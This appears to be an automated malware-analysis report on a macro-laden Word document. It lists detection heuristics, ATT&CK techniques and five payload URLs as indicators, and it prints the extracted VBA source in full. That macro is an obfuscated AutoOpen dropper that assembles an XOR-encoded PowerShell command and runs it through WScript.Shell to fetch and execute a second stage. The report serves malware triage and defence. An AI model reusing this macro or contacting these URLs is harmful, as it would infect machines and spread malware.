MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening a document. Critical heuristics indicate the use of WScript.Shell and a Shell() call, strongly suggesting the macro attempts to execute a command-line payload, likely PowerShell, to download and run a secondary malicious component. The presence of these indicators points to a dropper or downloader malware.
Heuristics 11
-
ClamAV: Doc.Dropper.Agent-6599565-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6599565-0
-
VBA macros detected medium 5 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
VEkCiZ = (88711 + Tnmlwf * jLAqL * zrwGh) + (ZPNTQ + kJmShv) zoKoRv = aSmaLfamzvz + CreateObject("Wscript.shell").Run(KOHwELM + Chr(vbKeyP) + VDQVA + Chr(vbKeyO) + akHnbRMjuo + RnjNzimnSc, 728206654 - 728206654) KRwaVc = (8884 + wnDGIT * OvEvWt * wzhfBb) + (hYPmj + NPwHDS) -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
VEkCiZ = (88711 + Tnmlwf * jLAqL * zrwGh) + (ZPNTQ + kJmShv) zoKoRv = aSmaLfamzvz + CreateObject("Wscript.shell").Run(KOHwELM + Chr(vbKeyP) + VDQVA + Chr(vbKeyO) + akHnbRMjuo + RnjNzimnSc, 728206654 - 728206654) KRwaVc = (8884 + wnDGIT * OvEvWt * wzhfBb) + (hYPmj + NPwHDS) -
Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URLA VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "BjTKNwTCQwizji" Sub AutoOpen() On Error Resume Next -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.lbbsport.pl/Izmqs/ Referenced by macro
- http://www.isaac.samjoemmy.com/H9TF8/Referenced by macro
- http://www.electrocad.in/4qTumjs/Referenced by macro
- http://www.abilitymep.ae/mXss/Referenced by macro
- http://www.efmj-eg.org/CdwOm/Referenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8831 bytes |
SHA-256: e386af000602fc4e117726ab076dfd1047b71f7e6474f26438a664b9485e6cbd |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
169 of 308 identifiers look randomly generated (e.g. 'BjTKNwTCQwizji') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "luLjEkMGApw"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "BjTKNwTCQwizji"
Sub AutoOpen()
On Error Resume Next
LNwhaR = (10353 + lQRODG * (SlInOB * SEYMR * 43536 - ViriUu * XvOSs - RRDwz))
ACiiL = (27223 + kNIRC * (jFttj * PXkrLF * 73667 - QPQDtD * srSWQ - PbLPE))
oIpSk = (11962 + BlPLX * (ZXEUz * YzwrN * 51206 - PwAwY * Gozhbz - zsBbcj))
LIwMYj = (54570 + utIOAi * (PiZkj * bupuV * 43694 - uBAcOk * YXWTw - vLdmAR))
wqdLGO = (20822 + RsRbrN * (CBprjQ * bpdXRH * 60902 - UOhfaY * opKQa - FQzFS))
NNZDi = (24921 + tfoIn * (FdnwsO * SwCLV * 76660 - IKZIAG * SFRJoM - XTMhK))
XHOPQS = (2136 + PLOhum * (jFjIjq * YVoECj * 88913 - pdLpDA * JrhFGC - DbtZbo))
pAllw = (57822 + Pnijw * (ATXDt * nRhMA * 61614 - qNWZd * wBpzj - lBOJhF))
FPmjZUKmwMS (zzWsLK + cIzqMLMrk + BnHJQZws)
jZiHj = (67466 + bMQUtl * (kWEiv * woaajl * 59716 - MKcFF * JEjiU - DhfRl))
NcSdd = (43312 + zKmPS * (BSBhpP * iwcHj * 4761 - kUuaNL * QHwfjS - WwMrCI))
lwjQN = (18209 + RALzah * (dPLCGj * KFCJzE * 15067 - QPdtPz * KKACB - GkiFkI))
RXTFp = (83060 + BQrwEX * (EaOBnO * UMjpWO * 57827 - PJJoWT * wHVla - ARFcK))
End Sub
Function zzWsLK()
On Error Resume Next
FiAHzU = qwaTpW * 299 + 93576 - 99437
iMzqXI = 4662 / Iwbzr - (80678 * hbHDn / kuoGP + DnCDkR)
bqBWtR = kHOwQ * 11180 + 87514 - 82267
HXZind = HKazkP * 95495 + 7623 - 69309
ijaiDX = "wers" + "hell " + " " + " " + " . " + Chr(40) + " $S" + "helLid[" + "1]" + Chr(43) + "$ShEL" + "lid[1" + "3]" + Chr(43) + "'X'" + Chr(41) + " " + Chr(40) + " -JoiN" + Chr(40) + "'46o" + "77H68%96"
dEruH = (jXwwfQ - LjTvJ)
RbtPP = (FOufO - rEhICJ)
SqUutD = (LtHWmh - qhvbi)
DcnHQ = (XTzVN - RzMoR)
hWYVs = "Z55~100%1" + "11~125m3" + "9K101~10" + "4H96" + "~111H10" + "5Z126o42" + "Z68~111L" + "126~3" + "6Z93m111H"
roRIuz = (rPzva - dqukJ)
kTFRQz = (ntRkD - JzTOwZ)
wFmGLv = (GRrVUV - iMCqX)
AXQOub = (WWkXl - suAXna)
VCcfzYX = "104m73" + "%102K99~1" + "11L1" + "00H126" + "@49H46~7" + "0Z122%" + "94X55%" + "45X9" + "8Z126K"
iVGXjV = (GssdM - BkVdi)
wjzFi = (CQQKh - jQlEIo)
rjAhiw = (JnYhF - zpTdJ)
MMiDqU = (uvsjoc - oYIrjm)
wYXduiB = "126~122Z" + "48@37o37" + "H125o12" + "5~125" + "@36o102L1" + "04H104~12"
wIqfz = (mOWik - nmHfZ)
IWjkI = (wjUvw - iiwEX)
zDlmkL = (owiazM - RNKfiJ)
LQLdsW = (JLIDX - MpHAOB)
bCWFLIzpY = "1%122" + "~101L" + "120Z12" + "6%36L12" + "2Z102o37" + "o67@112X1" + "03o1" + "23%121%3" + "7m74o9" + "8H126@12" + "6L122m" + "48L37Z"
ilqKl = (ktMjnK - LUmjzP)
hddLhh = (Krubz - krRzv)
Zncrm = (MzKVn - kSFpV)
GmrHZc = (quZwKi - mwjpna)
SrJsjfj = "37@125L1" + "25o125" + "o36@99%" + "121X10" + "7o107" + "%105~36o1" + "21X107K1" + "03X96Z10" + "1K111X103" + "o103~1"
GfkKiF = (haiFUZ - ToUBUz)
mDjrk = (KzzSj - LlEpS)
ahimwu = (fzqGi - RzjJt)
BjGtM = (Mztcrw - GZFRfB)
OHdsiDcu = "15K36~1" + "05H10" + "1K10" + "3Z37~6" + "6L51m" + "94m7" + "6o50"
hnVip = (OGaOOV - Qmncz)
ajADV = (iTItw - ouUqX)
NtUNS = (Jwlszz - CnAEwi)
jwNczt = (hrAdd - pwZjwj)
KrTfXTpahc = "%37L74H" + "98L1" + "26~126o" + "122H48%3" + "7H37@125X" + "125~125K3" + "6L111L" + "102K11"
jDZTXp = (MCYPtq - ShzNO)
IjZww = (jjcBw - iQcZZ)
HrXcJ = (lFitjF - qMQlbV)
qXnaC = (Widqh - zXFoZ)
FjTBvVRaf = "1~10" + "5m126L" + "120~101%1" + "05o107" + "Z110K" + "36~99o1" + "00~37%6"
LJnSYR = (PmzHs - iFrqO)
pzrcwY = (qDjld - rqESD)
VzdIJT = (lawONP - JupRul)
UzYCG = (mOYYfR - NjsiM)
bTZtNiK = "2%123" + "H94%127o1" + "03H96m1" + "21H37m74" + "K98@126X" + "126Z12" + "2o48~3" + "7L37@125" + "m125~1" + "25~36" + "m107~104%" + "99Z102m9"
zzWsLK = ijaiDX + hWYVs + VCcfzYX + wYXduiB + bCWFLIzpY + SrJsjfj + OHdsiDcu + KrTfXTpahc + FjTBvVRaf + bTZtNiK
QDpWI = (QrYcJ - KvMhcE)
TtLPKK = (VPTqb - awKppp)
HIwwwv = (TRXYP - BdiuX)
BYVozG = (tNDCw - KRFzt)
End Function
Function cIzqMLMrk()
On Error Resume Next
vusbTM = (XwBjzp - fmUQQ)
ZtbmD = (poBzY - WhcdZR)
mzTXP = (zAmLhR - QpQmtp)
nnfDzq = (iNUpT - iVwdo)
wmCkaww = "9o126@1" + "15o1" + "03m111Z" + "122L3" + "6%107m11" + "1%37o103@"
qwZXSI = (NcJiP - hzlto)
zqVSj = (CDLNi - oMVsH)
uRJbM = (SiKdnm - cNNuWn)
DDPcCl = (icikCw - cfdFY)
tfQwAPhTz = "82L121L" + "121K37L74" + "o98%126X" + "126K122H4" + "8o37~37" + "L125o125K" + "125m36" + "X111m" + "108L"
FTiZo = (vizzWp - RFoTW)
SSzXz = (wXTIPk - Sojwr)
jUkzEM = (czfwA - HfLwNu)
IETFCB = (XTzfbU - GVSta)
zjdpj = "103%9" + "6X39o1" + "11X109m3" + "6L101" + "~120L109" + "L37H73@11"
fpAELi = (usuLh - zkzYi)
qcSao = (fhMavW - zEUMp)
aJziEE = (RqRwtw - NcYjp)
JXRtc = (JJicBr - cMEtnt)
IzkudjXJmf = "0m12" + "5L69" + "o103" + "Z37@45~36" + "H89K122" + "H102@" + "99~126@3"
XGQht = (BfqQf - XNTWU)
XYrSMf = (skPjf - zSKkI)
oYCqS = (IPBkAo - rcLTWs)
XVBjYv = (PazXN - ptRBn)
dFKvPL = "4K45" + "m74m45" + "o35%4" + "9Z46H93" + "m126" + "%127" + "@42@55o4"
tlwVnm = (SRJhV - NPzZM)
jBQjFi = (KXVbia - JUziHU)
pfDMqj = (DNlOz - iXnHUZ)
EdcYkF = (RmXFqn - qCqAlH)
CDRvp = "2o45H" + "51~62X" + "57L4" + "5o49%" + "46o105" + "K99@101" + "K55K46m" + "111L100@1" + "24o48H"
bTiwEk = (sBoFIz - rVCcW)
VbNYmr = (EHSPif - QpEhh)
MivhB = (BaBJzY - Qroqv)
DapmE = (smUPa - uaDQf)
PoDZWwuWST = "126@1" + "11H103~" + "122~3" + "3Z45L86" + "X45%33" + "Z46K9" + "3@126X" + "127%33@4"
FirhmO = (vQkjNC - RbJXXV)
pkiCj = (wFJWGk - iEsdj)
OPnmji = (VAUFwr - lZNjk)
zKGAmw = (zOSvo - UXvqp)
SnzqTbStU = "5o36~111X" + "114~" + "111m45H49" + "L108H10" + "1Z12" + "0o111~" + "107H10" + "5m98L" + "34H46H9" + "9%76K89%4" + "2~99X100"
qQXJNP = (TArLvz - hhKjP)
aAcIT = (SZuJM - wajXF)
SKQWV = (WHEWkE - XCZSV)
VwlFPl = (wuEKPq - OmihP)
FuhdirCCBQ = "~42X4" + "6X70m122" + "o94m" + "35X113~12" + "6m120L" + "115@11" + "3L46Z77@" + "68~96o36" + "K78X1" + "01X125@" + "100@102%1" + "01~10"
cIzqMLMrk = wmCkaww + tfQwAPhTz + zjdpj + IzkudjXJmf + dFKvPL + CDRvp + PoDZWwuWST + SnzqTbStU + FuhdirCCBQ
iJpbRz = (XwwcO - JwWGf)
oOkrXT = (LSJpT - vYIvA)
tJTBqB = (mDjYmJ - HujsUz)
HpHWQ = (alwWqr - Dlwcfj)
End Function
Function BnHJQZws()
On Error Resume Next
Bhmtl = (pWFnj - CmCoV)
CohMz = (hOvrQ - LipKzi)
WkiUji = (RfZww - jGKbZc)
YEbPF = (wXuUJY - NFvIBw)
PTFVuorvq = "7o110" + "L76~" + "99o102Z1" + "11K34@46" + "%99o7" + "6L89@" + "38L42%4" + "6H105L" + "99%101K35" + "%49o"
SwchOa = (oFzsU - UzfRH)
iWZfr = (WKftG - UjZWqp)
XbnwP = (Szjfw - rjXUd)
oiNsqM = (spwFiR - UqFAWp)
BNtkbpV = "89o126" + "~107~12" + "0X126m39K" + "90o1" + "20Z10" + "1%105"
zwHqq = (hENuj - uHmSHP)
waCavG = (JRaJw - bQDro)
hawQz = (wCXsG - IqbvN)
MMhbES = (PIcNM - PuhIQ)
wCMRCUX = "Z111" + "o121X121" + "H42o46o10" + "5L99~101" + "~49o104H" + "120K111@" + "107@97@4" + "9~119m1" + "05o10" + "7X126Z10"
FtlZD = (OmanOn - bYjPl)
vjMHP = (WCLEVm - jSJSQ)
JUFVzs = (MvcwU - RfXLq)
jqjtAB = (vzwdp - MhRimq)
jJSJc = "5m98K113" + "%119K" + "119'.sp" + "LIt" + Chr(40) + " '" + "H@~ZK" + "mXLo"
kUjYQ = (hRXIq - ZOnqw)
tIuJA = (AJnSh - Gobkw)
kDDYbU = (dIzvqZ - VjbIC)
uBnkG = (Zjobsd - PmzzDL)
JVhuzr = "%'" + Chr(41) + "|" + "% {[CHAr]" + " " + Chr(40) + " $_ -" + "BxoR " + Chr(34) + "0" + "x0a" + Chr(34) + Chr(41) + " } " + Chr(41) + " " + Chr(41) + " "
BnHJQZws = PTFVuorvq + BNtkbpV + wCMRCUX + jJSJc + JVhuzr
rzLqY = (JksHPR - pkYLU)
JlnwY = (jBDcuC - oBwzQ)
owrsO = (FXVmB - bOXTU)
iIRmb = (zIXRL - ilMwQ)
End Function
Attribute VB_Name = "jApvZnashGPFjR"
Function FPmjZUKmwMS(akHnbRMjuo)
On Error Resume Next
YfOiU = (31600 + TrPPFC * NQGiXH * Ywhdc) + (nllFl + HXJbd)
UhRpHF = (2159 + EimDV * EMwOS * ZhUcY) + (cDkzSj + oOXSS)
bznrqB = (43014 + OCDJV * UWmMpQ * czRHQF) + (jFjtdb + QlpdaC)
OBhnw = (64174 + SbLdB * zBWka * pqIWJf) + (IDkziO + XNwkT)
YfUuV = (99796 + qzikXJ * aVNnwA * UjGUV) + (LViRdE + nUiwb)
sEZRo = (40444 + jkAHHR * LPzjh * sBnhF) + (dpvGD + cciDdH)
Mmwin = (58515 + oZEsYd * dJqQsL * rCkdwS) + (ohIlrW + OwXAD)
VEkCiZ = (88711 + Tnmlwf * jLAqL * zrwGh) + (ZPNTQ + kJmShv)
zoKoRv = aSmaLfamzvz + CreateObject("Wscript.shell").Run(KOHwELM + Chr(vbKeyP) + VDQVA + Chr(vbKeyO) + akHnbRMjuo + RnjNzimnSc, 728206654 - 728206654)
KRwaVc = (8884 + wnDGIT * OvEvWt * wzhfBb) + (hYPmj + NPwHDS)
lQakc = (91707 + zKnZf * uEEvOZ * CkVQNG) + (pDFrQ + pPBtz)
YOzAhJ = (73164 + JOjYQX * DBvJXV * RtEwIT) + (fCKwkA + DjnHbP)
aUjbt = (69493 + NGkbIw * GvkBSv * LZcfWq) + (RHCwG + qZXVO)
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.